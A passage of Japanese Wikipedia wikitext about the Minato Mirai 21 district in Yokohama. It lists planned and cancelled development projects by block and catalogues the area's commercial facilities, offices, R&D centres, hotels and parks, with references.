** [[大林組]]、[[京浜急行電鉄]]、[[日鉄興和不動産]](旧:新日鉄興和不動産)、[[ヤマハ]]の4社企業グループによる、オフィス・ホテル・商業施設・にぎわい施設・[[オープンイノベーション]]スペースなどが入る複合ビル2棟からなる「[[横浜シンフォステージ]]」<ref name="obayashi220829"/><ref name="impress220829"/>が53街区([[GENTO YOKOHAMA]]跡地)に完成予定<!--2021年4月着工・2024年3月竣工予定<ref name="city-yokohama-mm53-200310"/>--><ref name="city-yokohama-mm53-190328"/><ref name="city-yokohama-mm53-200310"/><ref name="obayashi190328"/><ref name="nikkei190328"/>。
** [[MARK IS みなとみらい|マークイズみなとみらい]]内にシネマコンプレックス開業予定<ref>{{Cite web|和書|title=MARK IS みなとみらい 2023年春より大規模リニューアル!映画館も誕生!最新情報も! |url=https://shutten-watch.com/kantou/30617 |website=出店ウォッチ |date=2023-03-13 |access-date=2023-06-24 |last=fuku}}</ref>。
* 2026年
** 大和ハウス工業と光優による、オフィスビル・ゲームアートミュージアムなどからなる複合開発が52街区に完成予定<!--2023年1月着工・2026年7月竣工予定--><ref name="city-yokohama-mm52-210625"/>。
** [[ベルジャヤ・コーポレーション]]、[[丸紅]]、[[大和ハウス工業]]の3社企業グループ(BMD 62)による、グローバルラグジュアリーホテル&ホテルコンドミニアム・[[水族館]]・店舗などからなる複合施設が62街区に完成予定<!--2023年7月着工・2026年9月竣工予定--><ref name="city-yokohama-mm62-200605"/>。
=== 中止となった開発計画 ===
以下はみなとみらい地区内において、一度は計画されながら何らかの理由により中止となった開発計画である<!--なお、計画が大幅に変更となったものの、その後も同事業者による開発計画が存続している場合はこの限りではない-->。
* 2003年 - '''[[ナムコ]]の映像関連施設開発と[[日活]]本社および[[日活撮影所|撮影所]]の移転計画(20街区)'''
*: 2001年に横浜市の「新映像都市構想」と共に計画が発表された。しかし、撮影所の移転などに関して日活[[労働組合]]による反発が大きく、またナムコの経済的な問題等もあり2003年11月に計画の中止が発表された。以降も横浜市では今後開発が行われるであろう同街区を「映像文化拠点」と位置づけていたが、後に方針を見直している。
*: ⇒街区の最新動向:同街区において新展示場「[[横浜みなとみらい国際コンベンションセンター]]」(通称:パシフィコ横浜ノース、パシフィコ横浜の[[MICE]]機能<ref group="注" name="MICE"/>の拡張)<ref name="yokohama-bunkakanko180215"/><ref name="kanaloco120706">[https://www.kanaloco.jp/news/social/entry-104510.html 横浜市が新展示場、MM21地区20街区に検討 パシフィコの機能拡充/神奈川](神奈川新聞{{small|〈カナロコ〉}} 2012年7月6日、''2013年11月28日閲覧''/記事のアーカイブ:[https://archive.is/ZmWzC Archive.is (1 May 2013)])</ref><ref name="kentsu130318">[http://www.kensetsunews.com/?p=9100 月内に民間提案公募/MM20街区へMICE施設/横浜市](建設通信新聞 2013年3月18日付:関東面/[[archive.is]]による[https://archive.fo/aBmRG 2013年6月29日時点のアーカイブ])</ref><ref name="chihoken130206">[http://www.senmonshi.com/archive/02/029E6Msk2H2U2A.asp 【神奈川】横浜市 MICE施設拡充、MM21の20街区が有力候補](建通新聞社{{small|〈神奈川〉}} 2013年2月6日/地方建設専門紙の会)</ref>や大型バンケットルームを備えたリゾートホテル(詳細は[[#18-25街区(みなとみらい駅方面)|後節]])を開発。新展示場は[[2020年]]4月に開業した<ref name="nikkei140321"/><ref name="kentsu140324"/><ref name="yuuran-MM20-140702"/><ref name="kanaloco150107"/>。
* 2004年 - '''[[新日鉄]]、[[三菱地所]]などからなる横浜ニューポートによるホテル開発計画(新港・11-2街区)'''
*: 現在は[[安藤百福発明記念館 横浜]](カップヌードルミュージアム 横浜)などがある同街区で過去にホテルの開発が計画されていたが、資金難などを理由に2004年に中止された。
*: ⇒街区の最新動向:2011年9月に開業した安藤百福発明記念館に続いて、[[アウディ]]のショールーム「[[Audi みなとみらい]]」が2013年8月、ブライダル・プロデュースによる結婚式場「[[グランドオリエンタルみなとみらい]]」が同年11月にそれぞれ開業となった。
* 2005年 - '''[[ヤマダ電機]]の本社機能の一部移転と同社で最大規模となる店舗の開発計画(67街区)'''
*: 2004年4月〜7月に実施された同街区における開発事業者(土地売却)の公募受付で、開発提案を行ったのがヤマダ電機の一社のみであったことから、同社のみなとみらい地区への進出が一時は濃厚とされていた。計画では同社オフィス(本社機能を一部移転)と同社で最大規模となる店舗を2年後の2006年にも完成させるとしていたが、店舗の進出に伴う[[交通渋滞]]量予測(推計)がみなとみらい地区のオフィスエリアにおける当初の想定のおよそ2倍になることが判明したため、2005年2月に横浜市側が同社の進出計画を不適当と判断して結果的に計画自体が白紙となった<ref>[http://yamai.tea-nifty.com/diary/2005/02/post_13.html ヤマダ電機](不動産業界のお話 February 17, 2005)</ref>。
*: ⇒街区の最新動向:この街区では2012年2月に「[[横浜三井ビルディング]]」が完成している。
* 2008年
** '''[[セガ]]および[[セガサミーホールディングス]]の[[複合商業施設|複合娯楽施設]]開発計画(55〜58街区)'''
**: セガは2004年に55・56街区の開発事業者に選定されていたが、2006年には57・58街区でも追加で選定され計4街区(約4.1ha)の一体開発を行うこととなった。これにより、同社の本社機能の一部移転を含む業務施設と[[劇場]]、[[シネマコンプレックス|シネコン]]、[[アミューズメント施設]]、ホテル、商業店舗などからなる複合娯楽施設の開発計画が発表された<ref name="hamakei060222">[http://www.hamakei.com/headline/1423/ セガ、MMの4つの街区で総合エンタテイメント施設建設](ヨコハマ経済新聞 2006年2月22日)</ref>。最終的には2008年の秋に着工し2011年の完成・オープン<!--※工期目標は2008年春頃着工、2010年春完成・オープン(上記記事より)→2008年秋着工、2011年春完成・オープンに延期<ref>[https://www.hamakei.com/headline/2204/ セガ、みなとみらい21地区に複合商業施設建設へ](ヨコハマ経済新聞 2007年2月21日)</ref>、その後の開発中止報道ではどれも完成・オープンが「2011年」とあり春など時期の記載なし(最終的に完成・オープン予定が2011年内に延期の可能性)-->を目指していたが、同社と同企業グループの財政が悪化したことを理由として着工前の2008年3月に計画の中止が発表された<ref name="it-media080328">[https://www.itmedia.co.jp/news/articles/0803/28/news082.html セガの「みなとみらい21」大型娯楽施設、開発中止](ITmediaニュース 2008年3月28日)</ref><ref>[https://www.hamakei.com/headline/3112/ セガ、MM地区エンターテインメント複合施設開発中止へ](ヨコハマ経済新聞 2008年4月1日)</ref>。本計画中止後も横浜市ではこれらの街区の開発方針として「[[エンターテインメント|エンターテイメント]]施設」を集積する路線を引き継ぐとしていたが、現在では[[#50-67街区(新高島駅方面)|60〜62街区]]にて「観光・エンターテイメント」を軸とした街づくりの計画が進められている。一方、4つの街区は一体的な開発とはならず別々に開発されることとなり、55街区と56街区、58街区ではそれぞれ55-1・55-2街区、56-1・56-2街区、58-1・58-2街区という様に分割開発も可能となっている。
**: ⇒街区の最新動向:55・56・58街区では<!--2013年7月以降開発事業者の公募を開始しており-->、55-2街区にて[[学校法人みなとみらい学園|みなとみらい学園]](旧:鶴見歯科学園)の校舎<ref name="yokohama-mm55-2-140327"/>が2016年8月に完成、また55-1街区にて[[LGエレクトロニクス|LGグループ]]の研究開発拠点「[[LG YOKOHAMA INNOVATION CENTER]]<!--LG横浜イノベーションセンター/旧仮称:LGグローバルR&Dセンター-->」および賃貸オフィス複合ビル<ref name="zaiseikyoku161222"/>、56-1街区にて[[京急グループ本社|京急グループの本社ビル]]<!--(名称:京急グループ本社)--><ref name="keikyu160328"/>、56-2街区にて[[資生堂]]の研究開発拠点「[[資生堂グローバルイノベーションセンター|グローバルイノベーションセンター]]:S/PARK (エスパーク)」<ref name="shiseido-spark"/>、58街区にて[[鹿島建設]]による複合オフィスビル「[[横濱ゲートタワー]]<!--プロジェクト-->」<ref name="city-yokohama171020"/><ref name="built190404"/>がそれぞれ完成した。一方、57街区の一部には<!--暫定施設として-->[[横浜市立みなとみらい本町小学校]]が2018年度より10年間限定<!--方針-->で開校している<ref name="minatomiraihoncho-shogako"/><ref name="hamarepo3253"/><ref name="msn20140830"/><ref name="kanaloco140829"/><ref name="kanaloco160220"/>。
** '''[[モリモト]]によるオフィスビル開発計画「コンカードみなとみらい」(43街区南区画)'''
**: 2008年6月に着工するも、同年11月にはモリモトが[[民事再生法]]の適用を申請し開発が中断(事実上の中止)された。その後、2年近く工事途中のまま放置されていたが、2010年9月に岡田不動産が土地を取得し、「2011年3月以降にモリモトの計画を引き継いだオフィスビルか低層(2階建て)の暫定商業施設を建設する」と発表している<ref name="morimoto-saikai">[http://taccolinmm.livedoor.blog/archives/2283434.html 43街区 モリモト撤退街区年内着工へ、](みなとみらい線周辺散歩日記 2011年1月7日/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20160304232556/http://blogs.yahoo.co.jp/taccolin/64355337.html 2016年3月4日時点のアーカイブ])</ref>。しかし、2012年になっても同街区における開発は再開されておらず、また同年には「MM43街区計画」として[[大成建設]]が埋戻し作業を行っており、動向は不透明であった。
**: ⇒街区の最新動向:2013年3月に岡田不動産の関連会社である岡田ビルが同街区で商業地域の用途制限を超える自動車修理工場(物品販売等店舗、車庫含む)の新築申請を横浜市に行い<ref name="kentsu130401">[http://www.kentsu.co.jp/webnews/html_top/130329400045.html 岡田ビル MM21中央地区43街区南に商業施設](建通新聞{{small|〈電子版〉}} 2013年4月1日/神奈川)</ref>、同年6月には自動車のショールームおよび整備工場、物販店などを含む暫定商業施設「[[PRYME GALLERY みなとみらい]]」(鉄骨造2階建て、[[ポルシェジャパン]]や[[ニトリ]]などが出店<ref name="kentsu130906"/>)の建設を大成建設の[[施工]]で着工、2014年4月に開業した<ref name="nikkei140303"/><ref name="response140404"/>。
* 2009年
** '''[[CSK (企業)|CSK]]グループの本社ビル開発計画(43街区北区画)'''
**: CSKグループ本社の移転の他、[[企業の社会的責任|CSR]]活動の文化交流諸点、[[医科学]]系先端研究施設、[[情報技術|IT]]や[[生物工学|バイオ]]関連の[[インキュベーター (起業)|インキュベーション]]施設などを軸とした開発計画が2007年に発表された<ref name="yokohama-toshiseibi-MM43-CSK">[http://www.city.yokohama.lg.jp/toshi/mm21/press/43kettei.html みなとみらい21中央地区43街区 ITビジネスの先端拠点 CSKグループ本社ビル]〈[https://web.archive.org/web/20180120124147/http://www.city.yokohama.lg.jp/toshi/mm21/press/43kettei.html アーカイブ]〉(横浜市都市整備局・港湾局 平成19年 {{small|(2007年)}} 10月19日)</ref>。しかし、[[リーマン・ショック]]以降の景気の悪化を受け同社グループにおける損失も拡大したことから、2009年2月に計画の中止が発表された<ref name="hamakei090214">[http://www.hamakei.com/headline/3779/ CSK、みなとみらい21地区43街区の本社ビル建築計画を中止](ヨコハマ経済新聞 2009年2月14日)</ref>。
**: ⇒街区の最新動向:[[神奈川大学]]が2021年4月に「[[神奈川大学#みなとみらいキャンパス|みなとみらいキャンパス]]」を開設している<ref name="hamakei170413"/>。
** '''[[ダブリュー・ホテル]](W Hotels)の日本初進出計画「W Yokohama」(新港・4街区)'''
**: エイ・ピイホテルアンドリゾートグループが同街区で計画するアーバンリゾートホテルとして<ref name="hamakei060224">[http://www.hamakei.com/headline/1428/ 新港地区に外資系の高級アーバンリゾートホテル建設](ヨコハマ経済新聞 2006年2月24日)</ref>、ダブリュー・ホテルの日本初進出が2007年に発表され、この時点では2010年の完成を目指していた<ref name="hamakei071030">[http://www.hamakei.com/headline/2772/ ニューヨーク人気ホテル「Wホテル」、横浜へ日本初進出](ヨコハマ経済新聞 2007年10月30日)</ref>(その後のホテル側の情報として2012年5月開業予定)。しかし、開発を行う[[特別目的事業体|特別目的会社]]の一社であるパシフィックホールディングスが2009年3月に[[会社更生法]]の適用を申請し事業から撤退、同じく特別目的会社として開発に参加していた[[五洋建設]]が新しい開発パートナー企業を模索するも、同年8月に計画の中止が発表された<ref name="hamakei090810">[http://www.hamakei.com/headline/4236/ みなとみらい21地区に日本初進出の「Wホテル」が開発中止に](ヨコハマ経済新聞 2009年8月10日)</ref>。なお、この計画以前には[[ザ・リッツ・カールトン]]も同街区に進出の意向であった<ref name="hamakei071030"/>。
**: ⇒街区の最新動向:[[三菱商事都市開発]]による低層分棟型の商業施設「[[MARINE & WALK YOKOHAMA]]<!--(マリン アンド ウォーク ヨコハマ)-->」が2016年3月に開業している<ref name="kanaloco130726"/><ref name="fashion-press151001"/>。
== 施設 ==
=== 主な施設 ===
==== 商業施設・劇場・テーマパーク ====
[[画像:Yokohama Landmark Tower001.JPG|thumb|[[横浜ランドマークタワー]](中央)<br />[[ヒューリックみなとみらい]](左)<br />[[クイーンズスクエア横浜]](右)<br />[[日本丸メモリアルパーク]](下)]]
[[画像:QueensSquareYokohama.jpg|thumb|[[クイーンズスクエア横浜]]]]
[[画像:Yokohama World Porters.JPG|thumb|[[横浜ワールドポーターズ]]]]
[[画像:MM43 - Prime Gallery 01.jpg|thumb|[[PRYME GALLERY みなとみらい]]]]
[[画像:Yokohama Anpanman Children's Museum 2019 - 02.jpg|thumb|[[横浜アンパンマンこどもミュージアム]]]]
[[画像:YOKOHAMA HAMMERHEAD - D00c.jpg|thumb|[[横浜ハンマーヘッド]]]]
* [[横浜ランドマークタワー]]
** [[横浜ランドマークタワー#スカイガーデン|スカイガーデン]](高さ272mの展望フロア、かつては日本で最も高度に位置していた{{small|〈現在は3番目〉}})
** [[横浜ランドマークタワー#ランドマークプラザ|ランドマークプラザ]]
* [[クイーンズスクエア横浜]]
** [[みなとみらい東急スクエア]](クイーンズイーストと[アット!]を2017年10月に統合)<ref name="tokyu170426"/><ref name="hamakei170426"/><ref name="fashion-press171002"/><ref name="allabout171027"/>
* [[MARK IS みなとみらい]]
** [[京急ストア]]食品館まいにちマルシェ
** [[スポーツオーソリティ]]
** [[ユニクロ]]
** [[トイザらス]]
** [[ボーネルンド]]あそびのせかい
** [[東京ガス]]横浜ショールーム(食や創エネに関する体験コーナーも併設)
** [[Orbi Yokohama]](大自然体感型[[博物館|ミュージアム]]・[[エンターテインメント]]施設、''2020年12月閉館'')
*** 跡地:Moff animal world (モフ アニマルワールド)(屋内型アニマルテーマパーク、2021年4月27日より約1年間期間限定オープン予定)<ref name="hamakei210419"/>
* [[ヒューリックみなとみらい]](旧名称:TOCみなとみらい〈2017年12月に改称〉)<ref name="ryoutan">[http://antique-ryoutan.com 古美術 龍潭(りょうたん) 公式サイト](''2017年7月4日閲覧'')</ref>
** [[コレットマーレ]]
** [[ヒューリックみなとみらい#横浜ブルク13|横浜ブルク13]]([[映画館]])
* [[横浜ワールドポーターズ]]
** 横浜ワールドポーターズ[[ビブレ]]
** [[イオンシネマ]]みなとみらい{{small|(旧[[ワーナー・マイカル・シネマズ]]系)}}(映画館)
* [[クロスゲート (商業施設)|クロスゲート]] (CROSS GATE)
* [[リーフみなとみらい]]
** IDC[[大塚家具]](家具・インテリア)
* [[横浜アイマークプレイス]]
** [[スターバックス]]
** [[すかいらーく|ガスト]]([[ファミリーレストラン]])
** [[バーミヤン (レストランチェーン)|バーミヤン]](ファミリーレストラン)
** 海鮮問屋 お魚どうらく
* [[PRYME GALLERY みなとみらい]]{{small|(''<!--岡田ビルMM43街区-->暫定<!--商業-->施設'')}}<ref name="nikkei140303"/><ref name="response140404"/><ref name="kanaloco130914"/>
** [[ポルシェ]]・[[BMW]]・[[ミニ (BMW)|ミニ]]の自動車ショールーム(1階)・サービス工場
** [[AOKIホールディングス|AOKI]](1階)
** [[ニトリ]](2階)
* M.M.MID SQUARE([[集合住宅]])低層部
** [[TSUTAYA]] 横浜みなとみらい店
** スターバックス(TSUTAYA併設)
** [[kino cinéma 横浜みなとみらい|kino cinéma (キノシネマ) 横浜みなとみらい]]([[ミニシアター]]、TSUTAYAの2階部分に2019年4月12日開業)<ref name="hamarepo190226"/><ref name="kinocinema"/>
* Brillia Grande MM(集合住宅)低層部"Filmee"
** [[ブリリア・ショートショートシアター]]([[短編映画]]専門の商業映画館、''2017年12月閉館'')<ref name="brillia-sst"/>
** 横浜みなとみらいブロンテ ライブ (Bronth.LIVE)([[ライブハウス]]・[[多目的ホール]]、上記短編映画館を改装利用し2019年7月開設)<ref name="bronth-live"/><ref name="livewalker27512"/>
** [[まいばすけっと]]みなとみらい店 {{small|(旧TESCO EXPRESS・[[イオンエブリ|TSURUKAME]])}}
* [[オーケー]]本社ビル
** オーケーディスカウント・センターみなとみらい店([[旗艦#転用|旗艦店]])
** [[ピーシーデポコーポレーション|PC DEPOT]]([[パソコンショップ]])
** [[西松屋]]([[乳幼児]]・[[子供]]用品)
** [[キャンドゥ]]([[100円ショップ]])
** [[キュービーネット|QBハウス]](ヘアカット専門店)
** オーケー[[フードコート]]([[焼肉]]・[[カフェ]]・ダイニング)
* [[PRYME COAST みなとみらい]](岡田ビルによる59街区複合高層ビル<!--、2017年3月竣工-->)
** コンビニなど商業店舗<!--や[[診療所|クリニック]]-->も入居
* [[横浜三井ビルディング]]低層部"テツモポート"(商業文化ゾーン)
** [[原鉄道模型博物館]]
* [[京急グループ本社]]低層部
** [[京急ミュージアム]]([[湘南電気鉄道デ1形電車|デハ230形]]などを展示、2020年1月に開設)<ref name="newswitch190709"/>
* [[横濱ゲートタワー]]<ref name="built190404"/><!--([[鹿島建設]]の複合オフィスビル、2021年9月竣工)-->
** [[コニカミノルタプラネタリアYOKOHAMA]]([[プラネタリウム]]、<!--デジタルプラネットカフェ併設、-->2022年3月開業予定)を併設<ref name="konicaminolta210901"/>
* [[大和ハウス工業]]などによる52街区複合開発(2026年7月供用開始予定)
** [[コンピュータゲーム|ゲーム]]アートミュージアムを設置予定
* [[ベルジャヤ・コーポレーション]]などによる62街区複合施設<ref name="city-yokohama-mm62-200605"/>(2026年3月竣工予定)
** [[水族館]]を低層部に設置予定
** レストランやスパ・プールなども設置予定
* [[村田製作所みなとみらいイノベーションセンター]]
** Mulabo!(科学体験施設、2020年12月オープン)<ref name="mulabo-official"/>
* [[LG YOKOHAMA INNOVATION CENTER]]
** YUMESAKI GALLERY(エンターテインメント・体験型施設、2022年3月オープン)<ref name="yumesaki-g"/>
* [[横浜スカイビル]]([[横浜駅]]東口地区)
** スカイスパ(サウナ・温浴施設)
* [[よこはまコスモワールド]](レジャー施設、{{small|''暫定施設''}})
** 観覧車「[[コスモクロック21]]」
* [[横浜アンパンマンこどもミュージアム]](48街区から61街区へ2019年7月移転<ref name="ACM-press180827"/><!--{{small|(''30年間の定期借地''<ref name="city-yokohama160328"/><ref name="kanaloco160329"/>)}}-->)
* [[横浜赤レンガ倉庫]]
* [[MARINE & WALK YOKOHAMA]] (マリン アンド ウォーク ヨコハマ)<!--(4街区に2016年3月開業)--><ref name="fashion-press151001"/>
* [[横浜ハンマーヘッド]] (YOKOHAMA HAMMERHEAD)<ref name="YHH-official"/><ref name="YH190611"/>
** ハンマーヘッド SHOP&RESTAURANT(飲食店を中心に25店舗出店)<ref name="YH-S&R190611"/>
* 横浜みなとみらい[[万葉倶楽部]]([[日帰り温泉]]・[[宿泊施設]])
* [[安藤百福発明記念館 横浜]](愛称:カップヌードルミュージアム 横浜)
==== オフィス・業務関連施設 ====
[[画像:Nissan Head Office 2009.jpg|thumb|[[日産自動車]]グローバル本社]]
* [[横浜ランドマークタワー]]
* [[クイーンズスクエア横浜]]
* [[三菱重工横浜ビル]]
* [[横浜コネクトスクエア]]([[ケネディクス]]・[[パナソニック ホームズ|パナソニックホームズ]]・[[鹿島建設]]によるオフィス・ホテル・店舗を主とした複合高層ビル、37街区北区画・[[三菱重工横浜ビル#隣接地における計画|三菱重工横浜ビル隣接地]]<!--〈旧:三菱重工横浜ビル二期棟用地→住宅展示場〉-->に2023年3月竣工)<ref name="kensetsu-tsushin180508"/><ref name="MMAM-db37-mm37tower"/>
* [[横浜銀行本店ビル]]
* [[日石横浜ビル]]
* 県民共済プラザビル([[神奈川県民共済生活協同組合]]本部)
* [[ヒューリックみなとみらい]](旧名称:TOCみなとみらい〈2017年12月に改称〉)<ref name="ryoutan"/>
* [[富士ソフト]]本社ビル
* [[シンクロン]]本社ビル
* [[京急グループ本社]]
* [[LGグループ]]の研究開発拠点「[[LG YOKOHAMA INNOVATION CENTER]]<!--LG横浜イノベーションセンター/旧仮称:LGグローバルR&Dセンター-->」および賃貸オフィス複合ビル(2021年11月竣工<!--〈2022年2月開業<ref name="yw201902"/>〉-->)
* KTビル([[コーエーテクモゲームス]]の本社ビル{{small|〈同社本社オフィスやホテル、ライブハウスを含む複合ビル〉}}<!--、47街区北区画にて2020年1月竣工-->)
* [[オーケー]]本社ビル
* [[みなとみらいセンタービル]]
* [[MMパークビル]]
* [[みなとみらいビジネススクエア]]
* [[みなとみらいグランドセントラルタワー]]
** [[千代田化工建設]]グローバル本社
* [[オーシャンゲートみなとみらい]] (OCEAN GATE MINATO MIRAI)<!--32街区[[東急不動産]]オフィスビル計画-->
* [[横浜メディアタワー]]
* [[横浜アイマークプレイス]]<ref name="shimizu-mm46"/><ref name="shimizu140331"/>
* [[横浜グランゲート]]<!--([[清水建設]]のアイマークプレイスに次ぐ大規模賃貸オフィスビル開発第二弾)-->
** ソニーシティみなとみらい:[[ソニー]]が[[カメラ]]関連事業における事業所の移転集約および研究開発拠点を設置
* [[横浜シンフォステージ]]<ref name="obayashi220829"/><ref name="impress220829"/>([[大林組]]などによる53街区複合オフィスビル2棟開発、2024年3月竣工予定)<ref name="city-yokohama-mm53-190328"/><ref name="city-yokohama-mm53-200310"/><ref name="obayashi190328"/>
* [[大和ハウス工業]]などによる52街区複合オフィスビル(2026年6月竣工〈翌7月までに供用開始〉予定)<ref name="city-yokohama-mm52-210625"/>
* [[Kタワー横浜]]([[ケン・コーポレーション]]による音楽アリーナ「[[Kアリーナ横浜]]」の隣接オフィスビル、2023年7月竣工)<ref name="kencorp-k-arena"/><ref name="kencorp211116"/>
* [[横濱ゲートタワー]]<ref name="built190404"/><!--(鹿島建設の複合オフィスビル、2021年9月竣工)-->
** [[いすゞ自動車]]本社<!--(2022年5月移転)--><ref name="city-yokohama191224"/><ref name="nikkei220509"/>
* [[横浜ブルーアベニュー]]<ref name="Blue-avenue" group="注"/>
* [[日産自動車グローバル本社]]
* [[横浜三井ビルディング]]
* [[横浜野村ビル]]
* [[横浜スカイビル]](横浜駅東口地区)
; [[研究開発]] (R&D) 施設
* [[富士フイルムビジネスイノベーション]]の研究開発拠点「[[富士ゼロックスR&Dスクエア|横浜みなとみらい事業所 (R&Dスクエア)]]」(2010年4月開業)
* [[レノボ・ジャパン]]の企業向け[[ノートパソコン|ノートブックPC]]研究開発拠点「大和研究所」([[みなとみらいセンタービル]]内、2011年1月開設)
* [[Apple]]の研究開発拠点「テクニカル・デベロップメント・センター」([[横浜アイマークプレイス]]内)<ref name="kanaloco141227"/><ref name="macotakara160227"/><ref name="doda-apple16"/><ref group="注" name="apple-mmtdc"/>
* [[資生堂]]の研究開発拠点「[[資生堂グローバルイノベーションセンター]]:S/PARK (エスパーク)」(<!--56-2街区の開発、-->2018年12月より順次稼働<!--2019年4月本格稼働-->)<ref name="sankei150326"/><ref name="shiseido-spark"/>
* [[京セラ]]の研究開発拠点「[[オーシャンゲートみなとみらい#京セラの研究開発拠点|みなとみらいリサーチセンター]]」(<!--32街区-->[[オーシャンゲートみなとみらい]]内、2019年5月より順次稼働<!--同年7月19日に開所式-->)
* [[フォルクスワーゲン グループ ジャパン]]の研究開発拠点(<!--42街区-->[[みなとみらいグランドセントラルタワー]]内、2020年4月開設)<ref name="nikkei191203"/>
* [[村田製作所]]の研究開発拠点「[[村田製作所みなとみらいイノベーションセンター|みなとみらいイノベーションセンター]]」(<!--47街区南区画の開発、-->2020年12月開業)
* [[ソニー]]のカメラ関連事業の研究開発拠点([[横浜グランゲート]]内「ソニーシティみなとみらい」、2021年3月事業開始)
* [[LGグループ]]の研究開発拠点「[[LG YOKOHAMA INNOVATION CENTER]]<!--LG横浜イノベーションセンター/旧仮称:LGグローバルR&Dセンター-->」(55-1街区同社複合ビル内、2022年2月開業)
* この他、[[大林組]]などによる53街区複合開発「[[横浜シンフォステージ]]」<ref name="obayashi220829"/><ref name="impress220829"/>(2024年3月竣工予定)のビル内に自社オフィス拠点を設ける[[ヤマハ]]も研究開発機能を設置予定<ref name="kanaloco190704"/>。
; 研修施設
* [[MUFG グローバルラーニングセンター]]([[三菱UFJフィナンシャル・グループ]]の[[企業内教育|研修]]施設)
==== ホテル・宿泊施設 ====
[[画像:ContinentalYokohama.jpg|thumb|[[ヨコハマグランドインターコンチネンタルホテル]]]]
[[画像:Kahala Hotel & Resort Yokohama 01.jpg|thumb|[[横浜ベイコート倶楽部 ホテル&スパリゾート]] / [[ザ・カハラ・ホテル&リゾート 横浜]]]]
* [[横浜ロイヤルパークホテル]]
* [[ヨコハマグランドインターコンチネンタルホテル]]
* [[インターコンチネンタル横浜Pier 8|インターコンチネンタル横浜Pier 8 {{small|(ピアエイト)}}]](新港地区の客船ターミナル複合施設「[[横浜ハンマーヘッド]]」内のホテル)<ref name="hamarepo190312"/><ref name="ICY-P8-190523"/>
* [[クロスゲート (商業施設)#横浜桜木町ワシントンホテル|横浜桜木町ワシントンホテル]]([[クロスゲート (商業施設)|クロスゲート]]内)
* [[ニューオータニイン横浜プレミアム]]([[ヒューリックみなとみらい]]内)
* [[横浜ベイホテル東急]](旧名称:パン パシフィックホテル横浜)
* [[東急ホテルズ#東急REIホテル|横浜東急REIホテル]]([[ビジネスホテル]]、[[コーエーテクモゲームス]]本社オフィスとの47街区複合ビル「KTビル」内<!--に2020年6月開業-->)
* [[京急イーエックスイン|京急EXホテル]]が出店([[大林組]]などによる53街区複合開発「[[横浜シンフォステージ]]」<ref name="obayashi220829"/><ref name="impress220829"/>内ホテル、2024年竣工予定)<ref name="city-yokohama-mm53-190328"/><ref name="city-yokohama-mm53-200310"/><ref name="obayashi190328"/>
* [[ソラーレ ホテルズ アンド リゾーツ#ホテル一覧|ザ・スクエアホテル横浜みなとみらい]]([[PRYME COAST みなとみらい]]内のホテル、旧[[ビスタホテルマネジメント|ホテルビスタプレミオ]]横浜[みなとみらい]<!--2021年4月26日閉館-->を改装利用し2021年12月開業)<ref name="solare-pr210903"/><ref name="nikkei210903"/>
* KRF48による37街区複合ビル内ホテル(ブランド等未定、2023年竣工予定)
* [[ウェスティンホテル横浜]]/長期滞在型ホテル「The Apartment Bay YOKOHAMA」([[積水ハウス]]による44街区複合ビル内<!--に2022年5月より順次開業-->)
* [[ヒルトン横浜]]([[ケン・コーポレーション]]による音楽アリーナ「[[Kアリーナ横浜]]」の隣接ホテル、2023年7月竣工予定)<ref name="kencorp-k-arena"/><ref name="kencorp211116"/>
* [[ベルジャヤ・コーポレーション]]などによる62街区複合施設内にグローバルラグジュアリーホテルを開業([[フォーシーズンズホテル|フォーシーズンズ・ホテルズ&リゾーツ]]などのブランドを誘致、2026年竣工予定)<ref name="city-yokohama-mm62-200605"/>
* [[横浜みなとみらい国際コンベンションセンター|パシフィコ横浜ノース]]隣接ホテル(20街区<!--内ホテル棟、2020年9月開業-->)
** 会員制[[ホテル#観光ホテル・リゾートホテル|リゾートホテル]]「[[横浜ベイコート倶楽部 ホテル&スパリゾート]]」
** 一般高級ホテル「[[ザ・カハラ・ホテル&リゾート 横浜]]」([[ハワイ州]][[オアフ島]]のホテルブランド「[[ザ・カハラ・ホテル&リゾート]]」の世界展開第一号)
* [[ナビオス横浜]](横浜国際船員センター)
==== 公園・緑地・遊歩道 ====
[[画像:Hammerhead Park 01c.jpg|thumb|[[横浜ハンマーヘッド#ハンマーヘッドパーク|ハンマーヘッドパーク]]]]
* [[臨港パーク]]
** カフェ・[[ジョギング|ランニング]]ステーション等複合施設<!--臨港パークプロジェクト{{small|(仮称)}}、正式名称未定-->(2023年5月完成予定)<ref name="draft211122"/><ref name="axis211126"/>
* [[象の鼻パーク]]
** 象の鼻テラス(象の鼻カフェやイベントスペースを併設)<ref>[http://www.zounohana.com/ 象の鼻テラス ZOU-NO-HANA-TERRACE](公式サイト)</ref>
* [[日本丸メモリアルパーク]]
* [[横浜赤レンガ倉庫|赤レンガパーク]]
* [[横浜ハンマーヘッド#ハンマーヘッドパーク|ハンマーヘッドパーク]](新港地区の客船ターミナル複合施設「[[横浜ハンマーヘッド]]」先端部の公園・広場、2020年8月開園)<ref name="hamarepo190312"/><ref name="kanaloco181005"/><ref name="YH190611"/>
* [[新港 (横浜市)#緑地整備|カップヌードルミュージアムパーク]]{{refnest|name="noodle-park"|group="注"|日清食品ホールディングスが2012年8月1日から2022年7月31日までの10年契約で「新港パーク」のネーミングライツ([[命名権]])を取得<ref name="city-yokohama120731">{{PDF|[https://web.archive.org/web/20160304205117/http://www.city.yokohama.lg.jp/kowan/news/houdou/2012houdou/pdf/neeminngu-kisyahappyou.pdf 新港パークはネーミングライツ導入により8月1日からカップヌードルミュージアムパークとなります。]}}(横浜市港湾局・政策局 平成24年 {{small|(2012年)}} 7月31日)</ref>、さらに2022年には2032年7月31日まで10年延長された<ref>[https://www.city.yokohama.lg.jp/business/kyoso/private-fund/naming-rights/naming-rights.html ネーミングライツ]:[https://www.city.yokohama.lg.jp/business/kyoso/private-fund/naming-rights/naming-rights.html#dounyu 横浜市で導入中のネーミングライツ](横浜市政策局 2022年9月29日閲覧)</ref>(詳細は「[[安藤百福発明記念館 横浜#カップヌードルミュージアムパーク(旧・新港パーク)]]」を参照)。}}(旧名称:新港パーク)
** [[キャンプ#様々なカテゴリ|グランピング]]施設「DREAM DOOR YOKOHAMA HAMMERHEAD (ドリームドア ヨコハマハンマーヘッド)」<ref name="city-yokohama210714"/><ref name="travel-watch210714"/><ref name="yokohama.dreamdoor-official"/>
* [[新港 (横浜市)#緑地整備|新港中央広場]]
* プロムナード「[[汽車道]]」・[[汽車道#周辺の緑地整備(運河パーク)|運河パーク]](一体的に整備)
* [[グランモール公園]]
* [[高島中央公園]]
* [[高島水際線公園]]
